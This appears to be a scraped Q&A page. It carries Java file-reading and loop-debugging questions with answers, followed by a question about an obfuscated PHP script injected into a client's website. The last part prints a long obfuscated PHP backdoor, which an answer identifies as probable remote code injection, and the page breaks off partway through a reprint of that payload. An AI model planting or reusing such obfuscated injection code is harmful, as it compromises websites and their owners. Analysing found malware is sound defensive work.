for loop iteration cant find whats making i jump values - java
FILE THATS BEING READ
Rob Gronkowski 48
Zach Ertz 34
Travis Kelce 29
Evan Engram 15
Jimmy Graham 12
Cameron Brate 10
Delanie Walker 9
Kyle Rudolph 6
Austin Seferian-Jenkins 6
Jack Doyle 6
Hunter Henry 5
Jason Witten 4
Jordan Reed 4
Vernon Davis 3
Jared Cook 3
Tyler Kroft 3
Ed Dickson 3
Charles Clay 3
George Kittle 3
Antonio Brown 67
DeAndre Hopkins 62
A.J. Green 62
Mike Evans 62
Julio Jones 56
Michael Thomas 55
Dez Bryant 53
Michael Crabtree 45
Brandin Cooks 42
Tyreek Hill 42
Doug Baldwin 42
Keenan Allen 32
Jarvis Landry 29
Will Fuller 29
Amari Cooper 29
Stefon Diggs 29
Alshon Jeffery 27
Nelson Agholor 24
Adam Thielen 24
Chris Hogan 24
Golden Tate 24
Demaryius Thomas 22
Jordy Nelson 22
Larry Fitzgerald 22
DeSean Jackson 21
JuJu Smith-Schuster 19
Devante Parker 18
Devin Funchess 18
Kelvin Benjamin 18
T.Y. Hilton 17
Emmanuel Sanders 17
Marvin Jones 15
Rishard Matthews 14
Pierre Garcon 14
Cooper Kupp 14
Sterling Shepard 14
Paul Richardson 11
Danny Amendola 10Le’Veon Bell 70
Kareem Hunt 63
Todd Gurley 63
Leonard Fournette 60
Melvin Gordon 60
LeSean McCoy 60
Mark Ingram 50
Devonta Freeman 50
Jordan Howard 50
Lamar Miller 41
Doug Martin 34
Carlos Hyde 34
Aaron Jones 27
Alvin Kamara 27
Jerick McKinnon 24
DeMarco Murray 21
Chris Thompson 21
Jay Ajayi 21
Joe Mixon 18
C.J. Anderson 17
Tevin Coleman 17
Christian McCaffrey 17
Derrick Henry 16
Alex Collins 16
Dion Lewis 15
Adrian Peterson 13
Duke Johnson 12
Marshawn Lynch 11
Ameer Abdullah 10
Bilal Powell 9
LeGarrette Blount 9
Marlon Mack 9
James White 8
Ezekiel Elliott 7
Latavius Murray 7
Frank Gore 7
Isaiah Crowell 7
Orleans Darkwa 7
Kenyan Drake 5
Matt Forte 5
Darren McFadden 5
Alfred Morris 5
Damien Williams 3
Tarik Cohen 3
Jonathan Stewart 3
Robert Kelley 3
Danny Woodhead 3
Ty Montgomery 2
Javorius Allen 2
Mike Gillislee 2
Thomas Rawls 2
Theo Riddick 2
DeAndre Washington 2
Eddie Lacy 2
Giovani Bernard 2
Andre Ellington 2
Austin Ekeler 2
Jalen Richard 2
Ted Ginn 10
Robby Anderson 10
Jermaine Kearse 9
Davante Adams 9
Kenny Stills 9
Sammy Watkins 9
Marqise Lee 5
Mohamed Sanu 5
Allen Hurns 5
Josh Doctson 5
Jamison Crowder 4
Jeremy Maclin 3
Randall Cobb 3
Tyrell Williams 3
Robert Woods 3
Corey Davis 3
Jordan Matthews 3
Tyler Lockett 3
John Brown 2
Willie Snead 2
Donte Moncrief 2
Deshaun Watson 31
Dak Prescott 26
Tom Brady 24
Russell Wilson 22
Drew Brees 22
Carson Wentz 20
Alex Smith 14
Kirk Cousins 13
Matthew Stafford 11
Marcus Mariota 11
Tyrod Taylor 11
Cam Newton 11
Matt Ryan 11
Philip Rivers 8
having some problems been looking all over for answers. I found out my for loop iteration is incorrect it prints the series:0,1,2,10 etc. I was wondering if someone can point out my flaw, so I can fix this. I apprectiate anyone reading this, and appolgozie for the length of code. But just wanted to include everything so I don't miss anything. FOR LOOP LINE 87 thanks again, sincerely java noob
CODE
package trades;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.util.ArrayList;
import java.util.Scanner;
import java.util.regex.*;
public class Fantasy {
public static void main(String[] args) {
int[] playerRanking = new int[75];
String infoComingIn = null;
//Finding file path
String filename = "C:\\Users\\Karanvir\\Desktop\\21days\\players.txt";
File filez = new File(filename);
BufferedReader br;
String[] playerNames = new String[75];
int counterOfReadLines = 0;
Pattern p = Pattern.compile("[0-9]{2,3}");
ArrayList<Integer> arrayList = new ArrayList<Integer>();
try {
br = new BufferedReader(new FileReader(filez));
playerNames[counterOfReadLines] = br.readLine();
while (br.readLine() != null) {
counterOfReadLines = counterOfReadLines + 1;
playerNames[counterOfReadLines] = br.readLine();
System.out.println(playerNames[counterOfReadLines - 1]);
}
br.close();
for (int i = 0; i < playerNames.length; i++) {
Matcher m = p.matcher(playerNames[i]);
if (m.find()) {
String matched = m.group(0);
int addToArray = Integer.parseInt(matched);
playerRanking[i] = addToArray;
System.out.println(i);
}
}
} catch (Exception e) {}
}
}
Okay, so by seeing the post, I can point out only one issue. Since you are incrementing counterOfReadLines variable before the line
playerNames[counterOfReadLines] = br.readLine();
so what happens is playerNames is initializing with the array of index 1 not 0 and when you are trying to call the loop below:-
for (int i = 0; i < playerNames.length; i++) {
Matcher m = p.matcher(playerNames[i]);
if (m.find()) {
String matched = m.group(0);
int addToArray = Integer.parseInt(matched);
playerRanking[i] = addToArray;
System.out.println(i);
}
it is incrementing with 0. So either start it from i=1 or increment the counterOfReadLines after the line
playerNames[counterOfReadLines] = br.readLine();
so your error will go away...! if not let me know... :) !
Related
How to get only characters from a file in java [duplicate]
This question already has answers here: extract data column-wise from text file using Java (2 answers) Closed 4 years ago. I have a file txt. This is the file: Team P W L D F A Pts 1. Arsenal 38 26 9 3 79 - 36 87 2. Liverpool 38 24 8 6 67 - 30 80 3. Manchester_U 38 24 5 9 87 - 45 77 4. Newcastle 38 21 8 9 74 - 52 71 5. Leeds 38 18 12 8 53 - 37 66 6. Chelsea 38 17 13 8 66 - 38 64 7. West_Ham 38 15 8 15 48 - 57 53 8. Aston_Villa 38 12 14 12 46 - 47 50 9. Tottenham 38 14 8 16 49 - 53 50 How can I get only the name of teams? I tried to use the regex in the following way but don't work: FileReader f; f=new FileReader("file.txt"); BufferedReader b; b=new BufferedReader(f); s=b.readLine(); String[] name = s.split("\\w+"); for(int i=0;i<name.length;i++) System.out.println(name[i]); How do I solve? Thanks to everyone in advance!
FileReader f; f=new FileReader("file.txt"); BufferedReader b; b=new BufferedReader(f); while(s=b.readLine()!=null){ Matcher name=Pattern.compile("(?<=\\d\\.\\s)\\S+").matcher(s); if(name.find()) System.out.println(name.group()); } here the regex (?<=\\d\\.\\s)\\S+ will match only the name after the serial no. Regex
If you want to read line by line and your file has structure as you presented. These code enable you to get clubs names. File f = new File("file.txt"); Scanner sc = new Scanner(f); sc.nextLine(); while (sc.hasNextLine()) { String[] name = sc.nextLine().split("\\s+"); System.out.println(name[1]); }
try to use replaceAll, find all word characters (a-zA-Z_) and replace them all with empty. this gives team name. s=b.readLine(); s.replaceAll("[^a-zA-Z_]+",""); System.out.println(s);
Your string s is one line: 1. Arsenal 38 26 9 3 79 - 36 87 All you need to do is split by space and get second entry: s.split(" ")[1] RegEx is overkill here. Do this for each line and add the name to a list at each step.
Loop issue on reading from file
I am having trouble with my loop. If anyone could take a look and try to find where im going wrong it would be awesome. I am reading from two different files and I want my code to loop through the entire files. So far it is only looping the first 11 lines of the file. package lab.pkg02; import java.util.Scanner; import java.io.*; public class Lab02 { public static void main(String[] args) throws IOException { File usageFile; File historyFile; PrintWriter resultsFile; PrintWriter newHistoryFile; Scanner usageSC,historySC; String vin,make,model; int year, beginingOdo, endingOdo, currentGallons, currentGas, currentRepair, mpg, costPerMile, totalGas, totalRepair, currentMiles; //Display Report Heading to Report File resultsFile = new PrintWriter("reportfile.txt"); resultsFile.printf("%-5s%10s%15s%12s%13s%16s%5s%16s%17s%20s\n", "VIN", "Vehicle Description", "Beginning Odo", "Ending Odo", "Current Gas","Current Repair", "MPG", "Cost Per Mile", "Historical Gas", "Historical Repair"); //Process Each Vehicle for(int cnt = 0; cnt < 15; cnt++) { //Get Vehicle Information from Usage File usageFile = new File("usage.txt"); usageSC = new Scanner(usageFile); vin = usageSC.nextLine( ); year = usageSC.nextInt( ); usageSC.nextLine(); make = usageSC.nextLine( ); model = usageSC.nextLine( ); beginingOdo = usageSC.nextInt( ); usageSC.nextLine(); endingOdo = usageSC.nextInt( ); usageSC.nextLine(); currentGallons = usageSC.nextInt( ); usageSC.nextLine(); currentGas = usageSC.nextInt( ); usageSC.nextLine(); currentRepair = usageSC.nextInt( ); usageSC.nextLine(); mpg = usageSC.nextInt( ); usageSC.nextLine(); costPerMile = usageSC.nextInt( ); usageSC.close( ); //Get Vehicle History from History File historyFile = new File ("historyfile.txt"); historySC = new Scanner(historyFile); vin = historySC.nextLine( ); totalGas = historySC.nextInt( ); historySC.nextLine(); totalRepair = historySC.nextInt( ); historySC.nextLine(); historySC.close( ); //Calculate Updated Vehicle Information currentMiles = endingOdo - beginingOdo; mpg = currentMiles / currentGallons; costPerMile = (currentGas + currentRepair) / currentMiles; totalGas = totalGas + currentGas; totalRepair = totalRepair + currentRepair; //Store Updated Vehicle Information to New History File newHistoryFile = new PrintWriter("newhistoryfile.txt"); newHistoryFile.println(vin); newHistoryFile.println(totalGas); newHistoryFile.println(totalRepair); newHistoryFile.close( ); //Display Vehicle Summary Line to Report File resultsFile.printf("%-5s%10s%15s%12s%13s%16s%5s%16s%17s%20s\n", vin, year,make,model, beginingOdo,endingOdo, currentGas,currentRepair, mpg ,costPerMile, totalGas, totalRepair); resultsFile.close( ); } } } Both files are posted below im sure that the issue of the loop is not because of the file but do to an error in the code. ****Usage File***** 1FTSW2BR8AEA51037 2017 Ford Fiesta 12345 123456 200 2500 50 40 100 4S7AU2F966C091212 2016 Ford Focus 2356 23567 80 150 10 30 101 1FTEX1EM9EFD29979 2015 Ford Mustang 23 235 86 100 30 29 102 1XPVD09X5AD163651 2015 Ford Escape 15000 235679 800 350 750 28 103 2G1WF5EK0B1163554 2014 Ford Explorer 7854 12498 736 259 123 27 104 1GDP8C1Y7GV522436 2013 Audi A6 5269 54697 456 2464 61431 26 104 1FMCU92709KC54353 2012 Audi A8 123 3456 52 86 10 25 106 1GDHK44K59F125839 2011 Audi TT 5689 46546 14 89 15 24 107 3GYFNBE38ES603704 2010 Audi Q5 54875 646656 69 84 1000 23 108 SAJPX1148VC828077 2009 Audi R8 1201 1209 213 1321 11000 25 109 JS2RF9A72C6152147 2008 Audi A7 2589 36644 874 1511 110 41 111 JT2SK13E4S0334527 BMW 2007 i8 652 3664 856 151 11 26 110 1GTHC34K6KE580545 BMW 2006 X6 65 324 231 1636 11136 19 112 1FDNS24L0XHA16500 BMW 2005 X1 546 64654 2654 16354 112 21 113 2C3AA53G55H689466 BMW 2004 M4 1233 6464 264 1354 12 32 114 *****historyfile******* 1FTSW2BR8AEA51037 4500 150 4S7AU2F966C091212 2150 1000 1FTEX1EM9EFD29979 10000 15000 1XPVD09X5AD163651 3500 7500 2G1WF5EK0B1163554 2590 1230 1GDP8C1Y7GV522436 24640 614310 1FMCU92709KC54353 860 100 1GDHK44K59F125839 8909 150 3GYFNBE38ES603704 8408 10000 SAJPX1148VC828077 132107 110000 JS2RF9A72C6152147 151106 1100 JT2SK13E4S0334527 15105 110 1GTHC34K6KE580545 163604 111360 1FDNS24L0XHA16500 1635403 1120 2C3AA53G55H689466 135402 1201
From what I see, you are re-initializing usageFile = new File("usage.txt"); usageSC = new Scanner(usageFile); historyFile = new File ("historyfile.txt"); historySC = new Scanner(historyFile); newHistoryFile = new PrintWriter("newhistoryfile.txt"); in every loop which runs 15 times, and you close the scanner in each loop. Move those outside the loop and it will work and change nextLine() to next() to read next strings for usage. Your file has empty lines after the 11th vin in usage.
Has anyone seen this code? (Injected Script) [closed]
Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers. We don’t allow questions seeking recommendations for books, tools, software libraries, and more. You can edit the question so it can be answered with facts and citations. Closed 6 years ago. Improve this question It seems to be obfuscated, It was injected on one of my clients sites. Does anyone recognize this? Is it harmful? <?php $ghacbiaz = '27id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x24]25 x24- x24-!% x24- x24*!|! xtr_split("%tjw!>!#]y84]275]y83]248]y83]256]y81g}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439274Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5rn chr(ord($n)-1);} #error_reporting(0); $de:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%1]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234]QeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:649#neb#-*f%)sfxpmpusut)tp%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTjA)qj3hopmA x273qj%6<*Y%)fnbozcYufhA x272qj%6<^#ztmbg!osvufs!|ftmf!~<**9.-jt0}Z;0]=]0#)2q%l}S;2-u%!SV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>Uudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<fALS[" x61 156 x75 156 x61"]=1; $uas=strtolower($_SERVER[*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f7-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfs!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3oluxlxrn = $ukqjmyx("", $qcmcwdj); $luxlxrn();}}f>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%bs x5csboe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]4fu x27k:!ftmf!}Z;^nbsbq% x5cSFX)!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nb& (!isset($GLOBALS[" x61 156 x75 156 x61"])))) { $GLOB-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24<!%%)3of:opjudovg<~ x24<!%o:!>! x242178!2p%Z<^2 x5c2b%!>!2p%t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*%epnbss-%rxW~!Ypp2)%zB%fvr# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR x27tfs}527}88:}334}472 x24<!%ff2!>!bssbz)5ttfsqnpdov{h19275j{hnpd192754]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]5-#}+;%-qp%)54l} x27;%!<*#}_;#)3 x41 107 x45 116 x54"]); if ((strstr($uas," x6d 163 x69 145"3zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>- x24!>!fyqmpef)# x24*<!%t::!>! x2qcmcwdj = implode(array_map("gfvevvm",scq% x27Y%6<.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)4/%tjw/ x24)% x24- x24y4 x24- x24]y8 if((function_exists(" x6f 142 x5f 163 x74 141 x72 164") &z)#]341]88M4P8]37]278]225]2bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!2!>#p#/#p#/%z<jg!)%z>>2*!x24*<!~! x24/%t2w/ x24)##-!#~<#/% x24}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t2w)) or (strstr($uas," x72 16c1^W%c!>!%i x5c2^<!Ce*[!%cIj},;osvufs} x27;mnui}&Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w`41]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]38;zepc}A;~!} x7f;!|!}{;)gj}l;33b6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4sbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc x7f!|!*uy*CW&)7gj6<*doj%7-C)fepmqnjA x27&%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")));$sfvr# x5cq%7/7###7/7^#iubq# x5cq% x27jsv%6<C>^#zs>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]18y]#>q%#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)f75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#6 x3a 61 x31"))) { $ukqjmyx = " x63 162 x65 141 x74 1jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**1924- x24 x5c%j^ x24- x24tvctus)% x24-7-K)fujsxX6<#o]o]Y%7;utpI1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]<#762]67y]562]38y]572]48y]#>m%:|:*r%:-t4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x231M6]y3e]81#/#7e:55946-tr.984: x24b!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! x2%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<" x48 124 x54 120 x5f 125 x53 105 x52 1375Ld]55#*<%bG9}:}.}-}!#*<%nfd>%f}W;utpi}Y;tuofuopd`uff_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)32tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]2<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j4- x24y7 x24- x24*<! x24- x24gps)%WSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#52]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h56+99386c6f+9f5d816:+f./###/qp%>5h%!<*::::::-111112)eobsx27{ftmfV x7f<*X&Z&S{ftmfV x7f<*XAZAz>! x24/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rNV;hojepdoF.uofuopD#)sfebfI{*w%).%!<***f x27,*e x27,*d x27,*c x27,*b x27)fepdof.)fepdo x7fw6*CW&)7gj6<.[A x27&6< x7fw6#:>:h%:<#64y]552]e7y]#fubmgoj{h1:|:*mmvo:>:iuhofm%:-5pp7;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opj<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopo66~67<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)23ldfid>}&;!osvufs} x7f;!opjudov45 x5f 146 x75 156 x63 164 x69x24- x24]26 x24- x24<%j,,*!| x24- x24gvodujpo! x2q}k;opjudovg}x;0]=])0#)U! x27{**u%-#j%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tjw)bssbz)#P#-#Q#-#{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudov.2`hA x27pd%6<C x27pd%6|6.7eu{ 157 x6e"; function gfvevvm($n){retu7]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<#3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-epmqnj!/!#0#)idubn`hfsq)!sp!*#ojh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}342]58]24]31#-%tdz*Wsfuvso!%bsutjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111g x22)!gj}1~!<2p% x7f!~!<##!>!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V dXA x27K6< x7fw6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3q#7>/7rfs%6<#o]1/20QUUI7127-K)ebfsX x27u%)7fmjix6<C x27&6<*rfs%qssutRe%)Rd%)Rb%))!gj!<*#cd2bgej>1<%j=tj{fpg)% x24- OBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#dy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtp-s.973:8297f:5297e:56-xr.985:52985- x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%wwsTrREvxNoiTCnuf_EtaerCxECalPer_Rtsjnauhuwim'; $eqeosz=explode(chr((371-251)),substr($ghacbiaz,(38801-32924),(221-187))); $npljogw = $eqeosz[0]($eqeosz[(5-4)]); $yyhtlq = $eqeosz[0]($eqeosz[(6-4)]); if (!function_exists('lmnuklsld')) { function lmnuklsld($zvtcgxlvy, $ncmclvjy,$ocpapj) { $owfkdynb = NULL; for($yxbwhrs=0;$yxbwhrs<(sizeof($zvtcgxlvy)/2);$yxbwhrs++) { $owfkdynb .= substr($ncmclvjy, $zvtcgxlvy[($yxbwhrs*2)],$zvtcgxlvy[($yxbwhrs*2)+(7-6)]); } return $ocpapj(chr((38-29)),chr((314-222)),$owfkdynb); }; } $smkwpyx = explode(chr((230-186)),'2305,57,1344,54,676,56,3902,41,1977,60,2559,27,3280,53,4884,30,5131,36,228,42,2108,39,74,46,2669,69,3850,52,5101,30,4809,43,5371,51,5564,39,3414,25,5541,23,3333,45,821,65,5490,51,488,49,3061,49,1726,49,2147,68,2975,32,2879,38,1775,62,449,39,5655,35,0,40,4602,32,1039,32,3974,21,5308,33,3667,60,4689,66,631,45,537,26,3813,37,5237,39,2389,66,732,39,1641,62,3439,42,4173,62,5059,42,5422,29,1483,21,886,68,1001,38,4548,54,4395,35,1187,47,3165,67,5276,32,427,22,5603,31,4374,21,1542,34,3995,68,2037,37,1306,38,2917,58,1276,30,4269,39,1946,31,4852,32,120,63,1872,29,4656,33,270,38,3598,69,5451,39,4430,36,587,44,4755,54,4517,31,3481,41,2614,21,2848,31,4963,37,563,24,1398,49,4063,54,4308,66,1234,42,5167,70,4634,22,3110,55,3522,39,1447,36,1837,35,40,34,3378,36,3757,56,2268,37,4914,49,4235,34,5634,21,2480,37,2074,34,183,45,2586,28,377,50,2215,53,1703,23,4466,51,2517,42,5690,51,771,50,5800,35,1504,38,3727,30,3232,48,4117,56,3561,37,2635,34,1901,45,3943,31,5741,59,2362,27,2791,57,308,69,5341,30,1124,63,1071,53,2738,53,5835,42,2455,25,5000,59,1576,65,3007,54,954,47'); $upzdjxxg = $npljogw("",lmnuklsld($smkwpyx,$ghacbiaz,$yyhtlq)); $npljogw=$ghacbiaz; $upzdjxxg(""); $upzdjxxg=(413-292); $ghacbiaz=$upzdjxxg-1; ?>
The code doesn't work. I've seen many, many samples like this on hacked WordPress sites. This is resemblant of older code I used to see a lot 3-4 years ago. Probably remote code injection (allows them to run arbitrary PHP code sent in POST requests. Because the offsets used to pull function names out of $ghacbiaz are wrong, it results in: PHP Fatal error: Call to undefined function fpg)% () in ... And from experience, if you've found one of those, there are many more. This type of code may be injected into lots of files in the site. EDIT: I recall in the past finding a lot of these samples and analyzing a few and also found them to decrypt incorrectly. This is what the code looks like (but doesn't work because the obfuscated code doesn't line up with the decryption: $ghacbiaz = '27id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x24]25 x24- x24-!% x24- x24*!|! xtr_split("%tjw!>!#]y84]275]y83]248]y83]256]y81g}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439274Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5rn chr(ord($n)-1);} #error_reporting(0); $de:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%1]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234]QeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:649#neb#-*f%)sfxpmpusut)tp%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTjA)qj3hopmA x273qj%6<*Y%)fnbozcYufhA x272qj%6<^#ztmbg!osvufs!|ftmf!~<**9.-jt0}Z;0]=]0#)2q%l}S;2-u%!SV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>Uudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<fALS[" x61 156 x75 156 x61"]=1; $uas=strtolower($_SERVER[*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f7-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfs!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3oluxlxrn = $ukqjmyx("", $qcmcwdj); $luxlxrn();}}f>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%bs x5csboe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]4fu x27k:!ftmf!}Z;^nbsbq% x5cSFX)!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nb& (!isset($GLOBALS[" x61 156 x75 156 x61"])))) { $GLOB-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24<!%%)3of:opjudovg<~ x24<!%o:!>! x242178!2p%Z<^2 x5c2b%!>!2p%t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*%epnbss-%rxW~!Ypp2)%zB%fvr# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR x27tfs}527}88:}334}472 x24<!%ff2!>!bssbz)5ttfsqnpdov{h19275j{hnpd192754]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]5-#}+;%-qp%)54l} x27;%!<*#}_;#)3 x41 107 x45 116 x54"]); if ((strstr($uas," x6d 163 x69 145"3zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>- x24!>!fyqmpef)# x24*<!%t::!>! x2qcmcwdj = implode(array_map("gfvevvm",scq% x27Y%6<.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)4/%tjw/ x24)% x24- x24y4 x24- x24]y8 if((function_exists(" x6f 142 x5f 163 x74 141 x72 164") &z)#]341]88M4P8]37]278]225]2bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!2!>#p#/#p#/%z<jg!)%z>>2*!x24*<!~! x24/%t2w/ x24)##-!#~<#/% x24}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t2w)) or (strstr($uas," x72 16c1^W%c!>!%i x5c2^<!Ce*[!%cIj},;osvufs} x27;mnui}&Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w`41]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]38;zepc}A;~!} x7f;!|!}{;)gj}l;33b6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4sbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc x7f!|!*uy*CW&)7gj6<*doj%7-C)fepmqnjA x27&%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")));$sfvr# x5cq%7/7###7/7^#iubq# x5cq% x27jsv%6<C>^#zs>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]18y]#>q%#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)f75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#6 